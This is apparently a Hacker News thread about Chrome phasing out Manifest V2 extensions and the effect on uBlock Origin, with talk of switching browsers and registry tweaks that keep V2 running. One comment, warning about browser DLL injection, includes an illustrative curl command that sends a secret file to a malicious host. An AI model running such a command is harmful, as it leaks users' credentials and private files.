I'm curious what V3 doesn't allow that V2 does. I read an article about Ublock Origin light. It claimed it couldn't do script injection and content blocking but I've written V3 extensions that do that though maybe what I'm thinking and what ublock origin does are different things. Does anyone know specific details or maybe a pointer to docs on what's not possible?
rochak 2y ago
To all the people I know who are hell bent on using Chrome because its "superior", I say "Game on!"
ladzoppelin 2y ago
Can you guys just all go to Firefox so it has a chance, the way Chrome changes things is not acceptable and Firefox, performance wise, is just as fast even if people say otherwise. Try it and test for yourself.

552 points by freedomben 2y ago

Kelteseth 2y ago

https://www.mozilla.org/en-US/firefox/new/ https://www.mozilla.org/en-US/firefox/new/

TwoNineA 2y ago
uBlock Origin + Multi Account Containers makes Firefox enjoyable to use.
anovick 2y ago
Main reason I'm still using Chrome and can't switch to Firefox: https://connect.mozilla.org/t5/ideas/feature-suggestion-firefox-desktop-chosen-bookmark-shortcut/idc-p/41485/emcs_t/S2h8ZW1haWx8dG9waWNfc3Vic2NyaXB0aW9ufExOSVdKREtSWTExVktQfDQxNDg1fFNVQlNDUklQVElPTlN8aEs#M24106 https://connect.mozilla.org/t5/ideas/feature-suggestion-fire...
- deleted 2y ago
  [deleted]
- undercut 2y ago
  There is something wrong with your Firefox installation (maybe try a new profile with vanilla settings). I use search shortcuts all the time (w + spacebar for wikipedia) and it's exactly the same behavior in Firefox than Chrome/Edge.
- prettymuchnoone 2y ago
  hm i'll post this in the thread over there later but i'm pretty sure ff has that? https://imgur.com/a/gXrsBq3 https://imgur.com/a/gXrsBq3
varun_ch 2y ago
Chrome to Firefox is a relatively easy switch, especially for those that don’t depend on Google sync. The main sources of friction for me were the lack of a good profile switching UI (solved with a browser extension that mimics the Chrome menu), and weird security requirements for homemade extensions (IIRC if you want to have the extension persist after restarting Firefox, you need to sign the extension, which is a pain) For users switching from Arc, there is no good alternative, but Firefox with Sidebery and custom CSS comes close.
- elashri 2y ago
  > For users switching from Arc, there is no good alternative, but Firefox with Sidebery and custom CSS comes close. I would suggest zen browser [1] for those people. [1] https://zen-browser.app https://zen-browser.app
  - MrAlex94 2y ago
    I'd like to pop in and say Waterfox also has a list of comparable features: https://www.reddit.com/r/waterfox/comments/1ff0kzz/comment/lmr2wq6/ https://www.reddit.com/r/waterfox/comments/1ff0kzz/comment/l...
- tapoxi 2y ago
  Arc has a built-in adblocker, so it depends if you're tied specifically to uBlock Origin (non-lite) features. I'm not sure what other extensions would be broken in Manifest v3.
- beached_whale 2y ago
  One feature that is missing, removed, from Firefox is PWA's/running sites as apps. This is super handy for low trust apps
  - Bobaso 2y ago
    same here, the one thing keeping me on chrome
- 2y ago
foxandmouse 2y ago
I love Mozilla, but I’m concerned about its future. Since 80% of its income reportedly comes from the Google search deal, do they have a plan to replace it after the recent ruling? And can they maintain their current level of autonomy while doing so?
- cma 2y ago
  The Android version of Firefox still doesn't have working keyboard shortcuts after 13 years or a way to delete individual history items to prevent broken auto complete. The money is going into lots of other things than the browser.
  - SAI_Peregrinus 2y ago
    I'm not sure keyboard shortcuts for a version designed to run on an OS for devices without keyboards will ever be a priority. You can use a keyboard on an Android device, but the vast, vast majority of Android devices are phones that never get used with keyboards. I don't expect there's much priority to adding that feature. I agree that a lot of money is going to things other than the browser though.
    - cma 2y ago
      Many people use tablets and foldables with keyboards
- EasyMark 2y ago
  Killing adblocking in Chrome might be a boost they need to attract someone else to pay for being the landing search page. I doubt if anyone will pay as much as google though. Or probably even close.

neoromantique 2y ago

On Mac OS: https://kagi.com/orion/ https://kagi.com/orion/

codetrotter 2y ago
From the Orion FAQ: > Is Orion open-source? > We’re working on it! We’ve begun with some of our components and intend to open more in the future. > Forking WebKit, porting hundreds of APIs and writing a browser app from scratch has been challenging for our small team. Properly maintaining an open-source project takes time and resources we’re short on at the moment, so if you want to contribute at this time, please consider becoming active on orionfeedback.org.
- vinnymac 2y ago
  I won’t be touching this binary with a ten foot pole until every line of code is open. Many excellent alternatives already exist that are also open and free, I don’t see a compelling argument to use this software on any device at the moment.
  - freediver 2y ago
    Curious why exactly and what is wrong with closed source paid for products? By that token nobody should be touching Safari or iOS/macOS for that matter?
    - throwaway98346 2y ago
      > By that token nobody should be touching Safari or iOS/macOS for that matter? Ideally, yes.
  - neoromantique 2y ago
    Fair play, but by that logic you shouldn't touch Mac OS as well, so the whole thing is moot since Mac OS is the only OS that is supported by Orion.
  - 2y ago

emaro 2y ago

For people that have somehow missed the story, manifest v3 removed support for certain powerful network apis, severly limiting ad-blockers capabilities. uBlock Origin will not work anymore without manifest v2 (there's a v3 compatible lite version of uBlock Origin).

jokoon 2y ago
I saw there is a manifest v3 ublock lite. I don't understand why and how it would be less capable, and so far I have not read the details of how/why. So far, it's just rumors to me. I will keep using firefox anyway, but honestly I am still waiting for a clearer explanation.
- kristofferR 2y ago
  You can't just call stuff you simply don't bother to look up "rumors". Read up here: https://github.com/uBlockOrigin/uBOL-home/wiki/Frequently-asked-questions-(FAQ) https://github.com/uBlockOrigin/uBOL-home/wiki/Frequently-as...
- sjnonweb 2y ago
  With manifest v2, the extension could dynamically intercept requests and block them based on a custom rule. With v3, extensions have to predefine the rules for blocking. Which is the limiting factor
  - hypeatei 2y ago
    That and certain features like the element zapper in uBO aren't available in Lite.
  - sho 2y ago
    > extensions have to predefine the rules for blockin And there's a limit of 5000 such rules.
    - nolist_policy 2y ago

faefox 2y ago

Switch to a different browser! The Chrome monopoly only exists because we collectively allow it to exist.

andrewjf 2y ago
Same with all the other google ecosystem. Gmail, maps, android. All just mechanisms for data collection and ad networks.

blakesterz 2y ago

Has anyone been using the v3 compatible version of uBlock Origin? Have you noticed much of a difference? From what I read there isn't supposed to be much of a difference?

kccqzy 2y ago
I have been using the Firefox version of it for more than a year by now, basically as soon as it came out. I commented on HN that I was going to do it: https://news.ycombinator.com/item?id=37219071 https://news.ycombinator.com/item?id=37219071 There's no difference whatsoever. And it's not surprising because on my iOS device I've been using similarly architected content blockers since 2015. There's no issue with declarative ad blocking. Of course this differs with the kind of sites you visit. So you need to try it on your own. I can believe that perhaps for some people this is a downgrade, but don't automatically assume uBlock Origin Lite won't work well for you.
- drivebycomment 2y ago
  Anyone jumping up and down about MV3 while using Mac or iOS are hypocrites, since MV3 is essentially doing the same thing Safari did years ago, finally matching the security and the privacy in that regard. The reduction in adblocking is so miniscule in aggregate - since declarative approach will always cover all the major advertisers - that it's not even a meaningful "trade-off".
  - SoftTalker 2y ago
    I see boatloads of ads in Safari on iOS. To the point that web browsing on my phone is intolerable, so I don't do it.
    - kccqzy 2y ago
      This is such a data-free anecdote. Which websites are showing ads? Which ad blocker did you install on iOS?
    - 2y ago

est 2y ago

Can't we avoid the Manifest bullshit altogether? I remember how IE plugins roles: just dll inject into the process.

emestifs 2y ago
Inject dll's from the internet right into the browser. Yes, let's!
- yjftsjthsd-h 2y ago
  I'm not convinced that this is a good idea, but I don't think that's the reason; don't all your dlls come from the internet?
  - emestifs 2y ago
    My comment was sarcasm. The difference here is are you downloading a random dll from a well known source or from http://free-vpn-fast-internet.dwnloadfree.ru/free-chrome-vpn.dll.exe http://free-vpn-fast-internet.dwnloadfree.ru/free-chrome-vpn...? My mom isn't going to know the difference and will click the big green DOWNLOAD NOW button blindly.
    - yjftsjthsd-h 2y ago
      But that's not a difference, is it? Can't Windows enforce that DLLs have to be signed just like extensions?
      - tredre3 2y ago
        Injecting a DLL in the browser implies code running with the browser's permissions, which means the DLL will be able to access everything on your system. For example `system("curl https://malware.com https://malware.com -F@/etc/secret-file")` will be possible. Another example is that it could also see all your saved passwords. A javascript extension cannot do that. It is sandboxed and is bound to a permission system limiting what it can do on top of that. Signing a DLL only proves that the author is who he says he is. Not that his intentions are good. Same for browser extensions. So it's best to limit what the extension can do to begin with.

freedomben 2y ago

Notably, Firefox is not removing v2 support (at least for now as of March 2024) > Firefox, however, has no plans to deprecate MV2 and will continue to support MV2 extensions for the foreseeable future. And even if we re-evaluate this decision at some point down the road, we anticipate providing a notice of at least 12 months for developers to adjust accordingly and not feel rushed.[1] [1]: https://blog.mozilla.org/addons/2024/03/13/manifest-v3-manifest-v2-march-2024-update/ https://blog.mozilla.org/addons/2024/03/13/manifest-v3-manif...

simcop2387 2y ago
Along with that, I'd hope they'll add needed support for proper adblocking even with v3 and beyond
EasyMark 2y ago
To my knowledge the “big” chrome engine alternatives aren’t either. I know that Vivaldi and Brave plan on keeping around v2 as long as it is economically feasible
- echoangle 2y ago
  This sounds like Android phone manufacturers making fun of apple for removing the headphone jack and then doing it themselves a year later. Are they seriously going to maintain V2 support for a relatively small percentage of Powerusers which probably are mostly already using Firefox anyways? The point of being economically infeasible is probably in a month or so.
  - therein 2y ago
    I think it comes down to how aggressive Chrome will be at changing the internal APIs that it uses. They could choose to make it a very expensive patch to maintain. But I think they would have to go out of their way to do that.
  - mgiampapa 2y ago
    Firefox (and uBlock and BPC etc) works great on Andriod, but you have to disable Chrome to get Google apps to play nice.

sirolimus 2y ago

Goodbye Chrome, hello firefox

freedomben 2y ago

I hoped this day would never arrive, but alas all good things must come to an end. Since adopting uMatrix, my web experience radically changed and I can never go back to a pre-uMatrix world. With the v2 removal, I've got to eliminate Chrome from my life. I also adopted a workflow that has been very conveninent for many years, essentially using Chrome for personal stuff and Firefox for work and other various things (especially once container support arrived!). It's not going to be easy to undo years of muscle memory, but I guess it's time to bite the bullet.

sho 2y ago

Hopefully this is the inflection point for Chrome. Despite all their made-up "security" reasons, everyone knows this is solely about making adblock less effective. For many users, adblock is what makes chrome bearable - and if they make it unbearable, then those users will leave. Slowly but surely. Google seems much too sure of itself making this change. I hope their arrogance pays off just the same as Microsoft's did with IE.

Rychard 2y ago
The widespread adoption of Chrome was largely driven by word of mouth, people like you and I installing it on our friend's/relative's computers and telling them it was safer/faster/better. Nothing stops us from doing the same thing again. I've been recommending Firefox to all my family/friends/colleagues for years (ever since I've seen the writing on the wall for Chrome). While Firefox isn't perfect, it's in a much better place than Chrome is, and meets the the needs of nearly 100% of people.
- undercut 2y ago
  >The widespread adoption of Chrome was largely driven by word of mouth No, it was driven by having a banner in the most privileged spot of the Internet, Google.com (the most visited site in the world with 0 ads on the homepage) saying that was faster and more secure than the alternatives. In fact Firefox benefited from some free ads on Google.com against Internet Explorer before Google developed Chromium.
  - freedomben 2y ago
    It was kind of both, depending on the timeline. Early on it was word of mouth, then Google saw they had momentum and they capitalized on it with the banners and aggressive marketing.
    - undercut 2y ago
      It was a long time ago but I'm 99% sure that there was a banner for Chrome on Google.com since the first public release.

rtawsc 2y ago

Darn, ublock also no longer works on Firefox for YouTube. At the beginning of each video there is one forced ad and sometimes the video stops for no reason. I suppose they want everyone to stop using the Internet and read books.

eek2121 2y ago
Disable all other extensions and update your lists. It will work then.
archerx 2y ago
The Brave Browser still blocks YouTube ads.
atmavatar 2y ago
I run uBO on FF, and I've yet to see any forced ads or video stops. I'm on FF 131.0.2 with uBO 1.60.0.
- zamalek 2y ago
  Are you on premium. YouTube seemingly doesn't care about my adblocker because I am on premium.
aspenmayer 2y ago
You probably need to update your filter lists. There is a megathread on Reddit for this issue, because it can have a lot of other causes also. https://old.reddit.com/r/uBlockOrigin/comments/1etvawp/youtube_ads_detection_breakages_2024_08_16_ubo/ https://old.reddit.com/r/uBlockOrigin/comments/1etvawp/youtu...
deadbunny 2y ago
Works for me. I have Youtube on constantly when at my desk as background noise and uBo is still blocking everything perfectly fine. Edit: Seems Google/Youtube are experimenting/testing with injecting ads directly into the video streams: https://old.reddit.com/r/uBlockOrigin/comments/1de9kv5/youtube_is_currently_experimenting_with/ https://old.reddit.com/r/uBlockOrigin/comments/1de9kv5/youtu...

Mrdarknezz 2y ago

Totally unrelated, firefox is an excellent browser

deleted 2y ago
[deleted]
zb3 2y ago
But not when you want to install GrapheneOS using the web-based installer, because Mozilla refuses to implement WebUSB
- contravariant 2y ago
  Sounds like a reasonable trade-off. I imagine they couldn't figure out what an appropriate warning window would look like for that kind of protocol.
  - teruakohatu 2y ago
    Chrome supports WebUSB. The bowser asks if you want to connect a device and presents a list of supported devices. It works amazingly well.
    - account42 2y ago
      So the user can be trusted to allow arbitrary websites raw access to potentially sensitive USB devices but cannot be trusted to give extensions the required access to fully block ads?

ck2 2y ago

Time to try Supermium again, I couldn't get it to install using my Chrome profile last time, maybe fixed by now. Unless Supermium is following the manifest path too? Doubt it. https://en.wikipedia.org/wiki/Supermium https://en.wikipedia.org/wiki/Supermium

greenie_beans 2y ago

can i just setup dns blocking on my network to block the ad requests? especially on youtube, ublock origin stopped working a few weeks ago.

WesolyKubeczek 2y ago
Not enough, especially since your browser may weasel out of it by using its own DNS via DoH.
- surajrmal 2y ago
  Are you aware of any that do this? I've been using pihole for years and have no complaints. I've only seen smart TVs seem to do this, although it's usually configurable.
  - WesolyKubeczek 2y ago
    One example that I was remembering was Chromecast. It needed Google DNS to work at all. In general, though if an app sticks to "known good" DNS over HTTPS and pins its certificate to boot, it will bypass DNS-based adblocking very easily, and additionally will punish you by not working at all if you try to do any firewall/routing trickery.
sunshowers 2y ago
So yes... but the issue with DNS blocking is in the exceptions. First, exceptions are at the domain level. So you can't say "allow this domain on this site", you have to blanket-allow a domain or not. Second, the UX for making exceptions isn't great. With uBO it's just a couple of clicks. With something like Pi-hole it's more complex: https://discourse.pi-hole.net/t/how-do-i-whitelist-or-blacklist-a-domain/244 https://discourse.pi-hole.net/t/how-do-i-whitelist-or-blackl...

WesolyKubeczek 2y ago

I wish some brave enough (no relation to Brave) soul patched Blink so it became possible to delegate URL blocking decisions to an external process via some sort of IPC. In goes a full URL and maybe an opaque session ID so some state may be tracked, out goes a boolean value. Assume all are allowed if this process cannot be connected to.

userbinator 2y ago
You can already do this with a MITM proxy, and it works in all browsers.
- jakeogh 2y ago
  Bypassing pinned certs is always going pass attention? (or whatever deliberately harder to lookup term they make up?) https://news.ycombinator.com/item?id=41813480 https://news.ycombinator.com/item?id=41813480 https://m.youtube.com/watch?v=F8cT1YCsxgo https://m.youtube.com/watch?v=F8cT1YCsxgo
- wbadart 2y ago
  I thought this was a cool idea, so I looked around for existing implementations and found https://github.com/barre/privaxy https://github.com/barre/privaxy Been a while since the last commit, so I'm not sure if it's maintained, but I might try adding it (or something similar) to my pihole.

lemagedurage 2y ago

For people who want to stick with a Chrome-based browser while still using the full-featured uBlock Origin: Brave will keep supporting uBlock Origin even after Manifest V2's removal from Chromium. https://brave.com/blog/brave-shields-manifest-v3/ https://brave.com/blog/brave-shields-manifest-v3/

the_gipsy 2y ago
For how long, though? And what will be the next marketing scam after crypto/tokens? Something with AI?
ParetoOptimal 2y ago
Note that Brave's creator opposes same sex marriage, is a Coronavirus "skeptic", and his silly cryptocurrency is made to work with brave browser.
- gabrielsroka 2y ago
  Brave's creator, B. Eich, also created JavaScript, so I assume you have that disabled everywhere.
  - timeon 2y ago
    Oh I wish.
  - rjh29 2y ago
    Yes, he created an absolutely terribly designed language that we're still dealing with today. That is not a good thing.
- sunaookami 2y ago
  >opposes same sex marriage That's not true, he donated to organizations supporting California Proposition 8 which banned same-sex marriage which by the way was supported by the majority back then in California. That was also 16 years ago, it's time to let it go and stop spreading misinformation. You should instead not rely on ad-hominem and critize Brave for being ridden with cryptocurrency and doing shady stuff.

bdcravens 2y ago

Anyone using a PiHole to block on their network? I've been aware of it, but honestly, ad blocking was good enough that I didn't go down that route. Is PiHole good enough? Is there a big problem with false positives?

surajrmal 2y ago
Id argue pihole is roughly equivalent to what you can do with manifest v3 based afld blockers. I use it as my primary ad blocker as well, and don't really understand why folks are upset about losing V2 that much. It seems like removing root in favor of more granular permissions which is generally a good thing.
- shbooms 2y ago
  I agree that more granular permissions is better (in terms of dictating which sites an extension has access to) but I think the main problem as I understand it is that this is an entirely seperate issue from the one that nukes uBO. V3 introduces a hard limit on the total number network filters an extension is allowed to set and it's a laughably low number. Far below what uBO uses even on a barebones, default setup
- Dylan16807 2y ago
  There was already a specific permission for messing with raw network requests. v3 removes the ability to block, but not the ability to monitor. It doesn't make anything more granular.
kstrauser 2y ago
Yep, and it's great. Beyond ads, you can also configure it to block malware. Got a phishing email from scammer.ru? Nothing happens even if you to click the link in it because that name won't resolve. There were a very short list of exceptions, maybe 2 or 3, I had to add to ours over the years, mainly for hostnames like tracking.shippingcompany.com that got added by mistake. Note that it does nothing to block DNS over HTTPS lookups. If your browser insists on going around your LAN's DNS setup, Pi-hole can't help you.
2y ago

lapcat 2y ago

This submission title does not appear to be accurate. Here's what was actually said: > October 9th 2024: an update on Manifest V2 phase-out. > Over the last few months, we have continued with the Manifest V2 phase-out. Currently the chrome://extensions page displays a warning banner for all users of Manifest V2 extensions. Additionally, we have started disabling Manifest V2 extensions on pre-stable channels. > We will now begin disabling installed extensions still using Manifest V2 in Chrome stable. This change will be slowly rolled out over the following weeks. Users will be directed to the Chrome Web Store, where they will be recommended Manifest V3 alternatives for their disabled extension. For a short time, users will still be able to turn their Manifest V2 extensions back on. Enterprises using the ExtensionManifestV2Availability policy will be exempt from any browser changes until June 2025. See our May 2024 blog for more context.

wtallis 2y ago
They said "we have started disabling Manifest V2 extensions on pre-stable channels", and the "Chrome canary" referenced in the submission title is a pre-stable channel. The submission title is accurate, but narrowly highlighting only one facet of Google's update statement.
- lapcat 2y ago
  That's old news, as noted in my other comment: https://news.ycombinator.com/item?id=41810420 https://news.ycombinator.com/item?id=41810420 The change here is actually about the stable channel. Also, the title makes it sound like MV2 code has been removed from the source, but that's not the case.
  - wtallis 2y ago
    > That's old news, as noted in my other comment: None of your comments have actually provided evidence for this assertion, and the previous update dated June 3rd 2024 says users will start seeing a warning. So when between June 3 and October 9 did Google start actually disabling MV2 extensions, and where was it publicized prior to their October 9 update?

sunaookami 2y ago

Adblockers are my least concern, a lot of other useful add-ons won't work, like Imagus, Redirector, Violentmonkey, etc. So I switched to Firefox a few months ago.

Gimpei 2y ago

What does this mean for browsers derived from chrome, like Arc? I heard they plan on continuing to support Manifest v2, but will ublock continue to be maintained for chrome?

paulryanrogers 2y ago
MV2 code should remain well into 2025 since enterprises can still enable MV2 extensions. After that they may have to hard fork, which could become increasingly costly. Though they could coordinate to minimize duplicated efforts.
noname120 2y ago
https://resources.arc.net/hc/en-us/articles/25540117353623-What-Happens-to-Ad-Blocking-in-Arc-when-Google-upgrades-to-Manifest-V3 https://resources.arc.net/hc/en-us/articles/25540117353623-W...

pentagrama 2y ago

> Users will be directed to the Chrome Web Store, where they will be recommended Manifest V3 alternatives for their disabled extension. I'm curious about which extensions will be recommended to replace uBlock Origin after it's disabled. I'm sure those alternatives will see a surge in installs. Also, why doesn't the creator of uBlock Origin update the V2 version to the V3 version? I know V3 version isn't as good as V2, but if you're developing that product, at least give your users something instead of leaving them with nothing. Otherwise, they may end up choosing poor alternatives.

tredre3 2y ago
Everything you said has already been done: https://chromewebstore.google.com/detail/ublock-origin-lite/ddkjiahejlhfcafbddmgiahcphecmpfh https://chromewebstore.google.com/detail/ublock-origin-lite/...
- pentagrama 2y ago
  This V3 version will be pushed as a regular update on the current V2 version before is disabled? I think that must be done now to avoid even the alerts on users.

deleted 2y ago

[deleted]

dtgm92 2y ago

I will recommend Librewolf. Default Firefox has a lot of garbage and bloat.

OptionOfT 2y ago

I am tied to Microsoft Edge for sync between desktop and phone, and Microsoft Edge on iOS has AdBlock built in. But looking at this it seems inevitable that Edge will retain V2. As to switching to Firefox? I'd love to, but Firefox on iOS refuses to put in an AdBlocker. Yea, you can use Firefox Focus but that one doesn't sync. I don't understand Mozilla's stance on this.

throwaway48476 2y ago
Firefox doesn't exist on iOS, it's just reskinned safari. It's not Mozillas fault that Apple won't let you install a different web engine.
- OptionOfT 2y ago
  Edge on iOS, which is also reskinned Safari, has AdBlock Plus integrated. So it IS possible.
  - throwaway48476 2y ago
    Safari allows some ad blocking but nothing close to ublock.
pavon 2y ago
AFAIK, Microsoft is disabling manifest V2 extensions in Edge following the same timeline as Chrome[1]. Brave is continuing to run V2 extensions, but has no plan to stand up their own extension store[2], so it isn't clear how users will get the extensions, beyond a few handpicked ones that Brave is supporting[3]. [1] https://learn.microsoft.com/en-us/microsoft-edge/extensions-chromium/developer-guide/manifest-v3 https://learn.microsoft.com/en-us/microsoft-edge/extensions-... [2] https://github.com/brave/brave-browser/issues/15187 https://github.com/brave/brave-browser/issues/15187 [3] https://github.com/brave/brave-browser/issues/28367 https://github.com/brave/brave-browser/issues/28367
int_19h 2y ago
Take a look at Vivaldi, as well - it covers all major desktop and mobile platforms now and syncs across all of them through their own servers, and it also has integrated adblock.

imbnwa 2y ago

Why is this thread not on the first 4 or 5 pages of HN?

instagib 2y ago
Down weighted? Happens when mods see too many comments and not enough upvotes.
- imbnwa 2y ago
  Ah

dang 2y ago

Recent and related: Chrome Canary just killed uBlock Origin and other Manifest V2 extensions - https://news.ycombinator.com/item?id=41757178 https://news.ycombinator.com/item?id=41757178 - Oct 2024 (46 comments) That one never made the frontpage, so I'm leaving the current thread up.

bijection 2y ago

I've finally switched (back) to firefox today. I switched from firefox to chrome for their superior devtools a few years back, but hopefully firefox has had time to catch up. Everything old is new again!

echelon 2y ago
This is why we need to break up Google. Google is a de facto monopoly. They own the entire web. The gateway, the browser, the protocols, advertising, discovery. Google is too big.
- ragnese 2y ago
  Sure, but we saw this coming a mile away (as in, people have been saying this about Chrome for about a decade). People--especially tech nerds--didn't have to switch to the closed source, conflict-of-interest, browser. But, everyone did, and this is what we get for it. We now have proprietary DRM built in to the web standards, and all kinds of other bullshit, because a bunch of people decided to not learn any lessons at all from Microsoft and Internet Explorer. But, every time Mozilla does something slightly abrasive, HN users pile on about how Mozilla is ruining their privacy-respecting reputation, and then go back to using Chrome... The double-standard is really something else. Maybe instead of getting someone else to break up Google for us, we could just... stop using their shit? I'm typing this from Firefox, I use Proton Mail (and pay for it!) for email, and I mostly search with DuckDuckGo (I know that's not perfect, either). I certainly don't feel like I'm living like a caveman... /rant
  - ilrwbwrkhv 2y ago
    > tech nerds you would be surprised how many devs these days have drunk the big tech coolaid. leetcode all the time and dream of working at google and using chrome and writing javascript. if the tech nerds took a stand and used firefox en masse, we wouldn't have this problem. unfortunately it is now normie season. we have to travel through these dark times.
    - 2y ago

modzu 2y ago

chrome hasnt been cool for a while

greatgib 2y ago

It is really crazy that we are taken hostage/blackmail by whatever harmful decision Google takes in their own interest.

IncreasePosts 2y ago
Chromium is open source, you're free to use it.
- vehemenz 2y ago
  This is irrelevant because the changes are occurring upstream in Chromium by mostly Google developers.
  - IncreasePosts 2y ago
    Open source also means you're free to fork it or freeze your version
    - Dylan16807 2y ago
      Forking is untenable for individual humans with something so complicated, and freezing is dangerously insecure.
      - lostmsu 2y ago
        Should we start a HN browser then?

sva_ 2y ago

I was looking for an excuse to switch back to Firefox anyways.

QuantumGood 2y ago

"browsers using the ExtensionManifestV2Availability policy will be exempt from any browser changes until June 2025" To extend ManifestV2 in Chrome, add the text below to a text file, saving and running it as a .reg will create and add a value of 2 to "ExtensionManifestV2Availability" in the HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome key (When you open/run a .reg file, it updates your registry, usually preceeded by a warning.) Alternatively, you could do this manually by pressing the Windows key, type "run" (without the quotes) and enter, type "regedit" (without the quotes) and enter, then navigate as far as you can to HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome key You may find there is no "Chrome" key and will need to create it, as well as creating ExtensionManifestV2Availability -------------------------------------- [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome] "ExtensionManifestV2Availability"=dword:00000002

exikyut 2y ago
And IIRC including the quotes in a filename in a save dialog, líke "manifestv2.reg" (incl quotes), will save it with the extension you typed, so you won't end up with 'manifestv2.reg.txt'. So you skip a potentially otherwise needed rename step.
- gzer0 2y ago
  Wow, thanks for this tip. Saves the effort of having to manually find "all types" in the drop down... this is so much easier. Also, just for clarification: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome] "ExtensionManifestV2Availability"=dword:00000002 Apparently, the line Windows Registry Editor Version 5.00 is necessary at the beginning of the .reg file. This line indicates the format version for the registry file and tells Windows that it is compatible with the current registry editor (according to GPT). This worked for me. Save the file as: EnableExtensionManifestV2.reg
EvanAnderson 2y ago
Single command line (Run as Administrator-- you can do that from the Windows key-R dialog by holding CTRL-SHIFT and pressing ENTER): REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome /v ExtensionManifestV2Availability /t REG_DWORD /d 2

bobajeff 2y ago

I'm addition to all the calls to switch to another browser I'd also have people consider the websites they use as potential dependencies on chrome. Right now most websites don't seem to require any specific chrome feature but with Google's pushing some API's like their Web Environment Integrity proposal I'm worried sites will start to lock their site to Google Chrome and their official Mobile clients.

mbs159 2y ago
But what about Safari users? Such a lock-down could force Apple to drop the $20B search engine deal with Google.

etimberg 2y ago

Time to switch my last machine that still uses Chrome as the default.

jbverschoor 2y ago

Well, the web is unusable without an adblocker. Time to move to another browser.

zb3 2y ago

Manifest V3 is not the problem itself. But removing webRequestBlocking and creating some ridiculous limits for the DNR api are, these changes should be reversed downstream.

amatecha 2y ago

... can we just have a browser that has the functionality of uBlock Origin built-in? Feeling nostalgic for a time when browsing HTTP wasn't such a persistently-adversarial experience :(

jakeogh 2y ago

URL requests should go to a OS level, where the user can intercept them at will. We do not need to give browsers the socket API.

AstroJetson 2y ago

And people ask me why I don't run current versions of browsers.

rrrix1 2y ago

If anyone has any guides or blogs related to migrating away from Chrome for a multi-decade user (thousands of bookmarks, saved pages/read later, etc.) I would sure be interested. Every time I try to migrate my very large bookmark collection to another browser, it either misbehaves and partially loses some data or fails completely.

Ylpertnodi 2y ago
>Every time I try to It would be good to know what not-chromes you have tried, so as not to suggest 'x', which may have not worked for you.

marcell 2y ago

Would it be possible to do an OS level ad blocker that works similarly to uBO?

KeepFlying 2y ago
Seems unlikely with how many different ways ui elements are handles across an OS (including apps that do their own rendering). Though I bet you could block some subset of well known ones and block a lot of the network traffic that feeds ads.

riiii 2y ago

I'm years ahead of them. I disabled Chrome years ago.

lofaszvanitt 2y ago

V3 has some utterly/unnecessarily complicated shite going on, like offscreen documents, and I think it will get worse as time progresses. Google really needs some bludgeoning.

0cf8612b2e1e 2y ago
I have not kept up -what is the steel man argument for V3? Presumably Google has a rationale other than “ad blockers are bad for business”
- contravariant 2y ago
  Ad blocker-wise I think the best argument is that internalising the traffic blocking can be made a lot more efficient than putting a javascript interpreter in between. The counter argument is that ad-blocking is an arms-race and the only reason a subset of traffic blocking methods is going to work at all is because there isn't a big enough incentive yet. Other than that the arguments in favour of V3 are going to be about the same as for any API update. My guess is a few extra APIs and more granular permissions.

neilv 2y ago

Does Mozilla have a PR blitz, to pick up a big chunk of users who have a moment of disruption, and want their full uBlock Origin? It might've been better, had uBlock Origin Lite not happened, but is there still a migration opportunity here, and is Mozilla working it?

deleted 2y ago
[deleted]
politelemon 2y ago
They seem to have the opposite going on, they often manage to fumble what little opportunity you'd think they have. Was just thinking of the ubo lite example you mentioned: https://news.ycombinator.com/item?id=41707418 https://news.ycombinator.com/item?id=41707418 And also recently, their poor engagement/comms around Privacy-Preserving Attribution: https://blog.mozilla.org/en/mozilla/improving-online-advertising/ https://blog.mozilla.org/en/mozilla/improving-online-adverti...

cookiengineer 2y ago

There's gonna be a new browser wars. How exciting! Time to do your part. Switch to ladybird! (Insert imaginary we want you for the army poster here)

zamadatix 2y ago
I realize I'm about to post something that sounds like the most generic HN slop comments... but, considering it's why Mozilla initially made a whole new language in the first place, I hope most can look past what fanatics would normally say and focus on the scenario: I was ecstatic about Ladybird from a "fun NIH project" perspective but once it became "serious" and had a cross-platform daily-driver long term focus it was quite the let down that the hot new independent kickstart was... still going to be built on C++ anyways. Even the Serenity ecosystem had started work on a NIH memory safe language - Jakt! I'm not going to say the "R" word (mostly because I'm less interested "which" and more interested in the "what") but the one place I'd really like to see memory safety is the new fresh-engined web browser written by a small team (or really, any team). On that front https://servo.org/ https://servo.org/ is "alive" again under the Linux Foundation. It has a focus on being an easily embeddable engine and it seems to be picking up a bit of steam. Whether or not it really takes off remains to be seen. I'll be watching closely though!
- cookiengineer 2y ago
  I agree with you there, on all parts. My reason for learning Rust in the first place was trying to contribute to the servo engine. But then, Mozilla happened. My hope for servo continues, but it won't go anywhere if it stays in the limbo it has been in after Mozilla ditched it as a project. We need a real browser project, with a full UI/UX and everything, until people take it serious as a base to fork off. The problem with reality is that almost all software is still built on C. Kernels, userspace APIs, libraries, everything. I just wish that we would've gotten something like C ABIs, but with memory safety and VM-to-VM communication in mind, e.g. for Rust and Go, along the way. WebASM / WASI somehow got there, at least in that direction. But it's never seen as a shared object or dll replacement, and always is just a compile target and nothing more - even when the potential is there. Something like that would solve so many problems that all kinds of programming language are trying to solve by themselves, over and over again.

eviks 2y ago

If only Mozilla hadn't wasted all that time and money and created a Chrome-comparable in stability/performance and Vivaldi-comparable in customization, we could've have an easy way out of this current mess... (v3 drops not only ad-blockers but also user style managers, so a significant degradation of the web interfaces)

TexanFeller 2y ago
I daily drive Firefox. I haven't found a single website in years that's made me open Chrome. There's nothing slow about Firefox.
- eviks 2y ago
  I don't daily drive because I have found them, plenty of other people complain about this to make this not unique (though I'd eat that up for more ergonomic general use enabled by customizations)

arctek 2y ago

I think at this point I'd rather pay for a desktop browser, something with blocking baked in at compile time. It would be such a QoL improvement that it's worth paying a yearly subscription for.

beretguy 2y ago
I’m already paying for kagi search.

damianh 2y ago

When the hell will firefox have a decent profile manager?? It's the one thing that is preventing me from switching over. No, container tabs are NOT it.

coldpie 2y ago
